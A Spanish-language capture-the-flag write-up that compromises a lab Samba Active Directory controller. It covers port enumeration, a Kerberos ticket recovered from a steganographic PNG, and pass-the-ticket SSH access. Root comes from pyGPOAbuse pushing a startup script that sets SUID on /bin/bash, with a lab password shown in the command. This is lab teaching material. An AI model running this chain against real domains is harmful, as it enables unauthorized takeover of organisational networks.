Enumeramos puertos: es un Domain Controller (Active Directory sobre Samba, dominio warfare.local):
❯ nmap -sCV -p 22,53,80,88,135,139,389,445,464,636,3268,3269,... -oN 02-targeted.txt 10.212.91.55
...
22/tcp open ssh OpenSSH 10.0p2 Debian 7
80/tcp open http WEBrick httpd 1.8.2 (Ruby 3.3.8)
88/tcp open kerberos-sec
389/tcp open ldap (Anonymous bind OK)
| ssl-cert: Subject: commonName=WARFAREDC.warfare.local/organizationName=Samba Administration
...Descargamos el logo.png de la web y extraemos datos ocultos con steg-png:
❯ ~/bin/steg-png extract logo.png
❯ strings logo.png.out
WARFARE.LOCAL
robert
...
"krbtgt/WARFARE.LOCAL@WARFARE.LOCAL
...La referencia a krbtgt/... indica que es un ticket Kerberos (credential cache). Lo cargamos en KRB5CCNAME y lo verificamos con klist:
❯ export KRB5CCNAME=logo.png.out
❯ klist -e -a
Ticket cache: FILE:logo.png.out
Default principal: robert@WARFARE.LOCAL
Valid starting Expires Service principal
07/10/25 19:52:04 08/10/25 05:52:04 krbtgt/WARFARE.LOCAL@WARFARE.LOCAL
...Añadimos el DC al /etc/hosts y usamos el ticket (GSSAPI / Pass-the-Ticket) para entrar por SSH como robert:
❯ ssh -K robert@warfaredc.warfare.local
...
WARFARE\robert@warfaredc:~$Obtenemos la primera flag. Para escalar, abusamos de una GPO con pyGPOAbuse, inyectando un script de arranque que pone SUID a bash:
❯ cat pwned.sh
#!/bin/bash
chmod u+s /bin/bash
❯ python3 pygpoabuse.py 'warfare.local/robert':'.:.crossroadSBlues!' -dc-ip 10.212.91.55 -gpo-id '6BB6659D-BFAD-44B1-8B36-066C35CE2931' --linux-exec ../pwned.sh
[+] SUCCESS:root:executable 'pwned.sh' created in ...\Scripts\StartupTras unos minutos, el script se ejecuta como root:
WARFARE\robert@warfaredc:/tmp$ ls -l /bin/bash
-rwsr-xr-x 1 root root 1298416 Jul 30 15:28 /bin/bash
WARFARE\robert@warfaredc:/tmp$ bash -p
bash-5.2# whoami
rootObtenemos nuestra flag.
Fin.